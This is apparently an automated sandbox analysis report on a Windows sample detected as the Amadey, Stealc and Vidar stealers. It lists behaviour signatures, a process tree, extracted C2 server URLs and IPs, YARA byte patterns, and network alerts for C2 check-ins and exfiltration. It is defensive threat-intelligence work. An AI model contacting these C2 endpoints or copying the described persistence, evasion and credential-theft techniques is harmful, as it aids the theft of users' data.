Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1483400
MD5:	c8b29f4c8c60a861b941dc46c03d41bc
SHA1:	43e5e1266128f01d074d3aba20465ab19d26050b
SHA256:	afddc92c285934cfa180d497fd271e5eae08117765a5797b3ecbd5bdeafe49d0
Tags:	exeStealc
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2764 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C8B29F4C8C60A861B941DC46C03D41BC)

cmd.exe (PID: 6972 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingCFCGIIEHIE.exe (PID: 1216 cmdline: "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe" MD5: 1495ABBBF8BDABFF61B2E0BDFE9395F8)

explorti.exe (PID: 4480 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 1495ABBBF8BDABFF61B2E0BDFE9395F8)

cmd.exe (PID: 6456 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAKKKFBGDHJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userAKKKFBGDHJ.exe (PID: 320 cmdline: "C:\Users\userAKKKFBGDHJ.exe" MD5: C9774CB1F811AA79F9FDC173EE3DE6C1)

axplong.exe (PID: 7404 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: C9774CB1F811AA79F9FDC173EE3DE6C1)

WerFault.exe (PID: 4768 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 2376 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorti.exe (PID: 5440 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 1495ABBBF8BDABFF61B2E0BDFE9395F8)

axplong.exe (PID: 7688 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: C9774CB1F811AA79F9FDC173EE3DE6C1)

explorti.exe (PID: 7696 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 1495ABBBF8BDABFF61B2E0BDFE9395F8)

624f4d727e.exe (PID: 8016 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe" MD5: C8B29F4C8C60A861B941DC46C03D41BC)

WerFault.exe (PID: 8084 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8016 -s 1048 MD5: C31336C1EFC2CCB44B4326EA793040F2)

bdb44f72d9.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe" MD5: 0794B4C99B4E217967E91CFA0BD8F04B)

firefox.exe (PID: 2584 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

624f4d727e.exe (PID: 6648 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe" MD5: C8B29F4C8C60A861B941DC46C03D41BC)

WerFault.exe (PID: 4128 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 1040 MD5: C31336C1EFC2CCB44B4326EA793040F2)

bdb44f72d9.exe (PID: 3852 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe" MD5: 0794B4C99B4E217967E91CFA0BD8F04B)

firefox.exe (PID: 6772 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6396 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4120 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8056b53a-6eb2-4492-b78e-15b0c58ed1fc} 6396 "\\.\pipe\gecko-crash-server-pipe.6396" 2773686c110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6500 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5256 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5352 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02178454-e4c2-415f-b68b-05bee77a99df} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270c9b6d510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 356 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1316 -parentBuildID 20230927232528 -prefsHandle 4188 -prefMapHandle 4184 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {289cd873-04d9-4964-ab61-b0224a3875ef} 5256 "\\.\pipe\gecko-crash-server-pipe.5256" 270dcbf3310 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

624f4d727e.exe (PID: 1816 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe" MD5: C8B29F4C8C60A861B941DC46C03D41BC)

WerFault.exe (PID: 4464 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 1028 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.31silence"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000003.2223307017.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2311565762.0000000000041000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2231516085.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2272266422.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2671470506.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3056135980.00000000025CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2765064487.000000000251D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xad0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000002.2900160849.00000000040C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2299903441.0000000004980000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2193493268.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2229306012.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2899758965.00000000025D2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xa40:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.2233910747.0000000000361000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2382041122.000000000248D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1590:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2270763682.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.3241989382.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2340448283.00000000007F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.3241787684.00000000007F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2382402163.00000000040B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000014.00000002.2765545970.00000000040B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000022.00000002.3056076605.00000000025B0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1408:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000022.00000002.3056668030.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000003.2669468186.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2764	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2764	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2764	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 624f4d727e.exe PID: 8016	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 624f4d727e.exe PID: 8016	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bdb44f72d9.exe PID: 8148	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 624f4d727e.exe PID: 6648	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 624f4d727e.exe PID: 6648	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bdb44f72d9.exe PID: 3852	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author
19.2.explorti.exe.3a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explorti.exe.3a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.axplong.exe.7f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.userAKKKFBGDHJ.exe.40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.axplong.exe.7f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.RoamingCFCGIIEHIE.exe.360000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.explorti.exe.3a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7696, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\624f4d727e.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 2764, TargetFilename: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7696, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\624f4d727e.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:24:59.912105+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:00.181130+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:05.639605+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:25:08.324542+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:00.449225+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:25:14.250261+0200
SID:	2803304
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:55.284293+0200
SID:	2022930
Source Port:	443
Destination Port:	49725
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:24:57.705371+0200
SID:	2044245
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:05.829595+0200
SID:	2002725
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Web Application Attack

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:05.829454+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:25:11.428726+0200
SID:	2803304
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:26:07.316878+0200
SID:	2856122
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:25:08.915672+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:25:05.451873+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:00.088062+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T09:26:08.059994+0200
SID:	2044696
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 185.215.113.16 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:26:06.533095+0200
SID:	2009080
Source Port:	80
Destination Port:	49728
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:26:39.381395+0200
SID:	2044243
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:25:06.132219+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:08.050660+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:25:04.591786+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:25:06.641083+0200
SID:	2803304
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:00.077860+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:24:59.995114+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:24:57.886464+0200
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:26:08.710540+0200
SID:	2856147
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:26:09.169864+0200
SID:	2044243
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:15.977892+0200
SID:	2022930
Source Port:	443
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:26:08.815508+0200
SID:	2803305
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:24:57.894605+0200
SID:	2044247
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:26:07.311365+0200
SID:	2856147
Source Port:	49730
Destination Port:	80
Protocol:	TCP
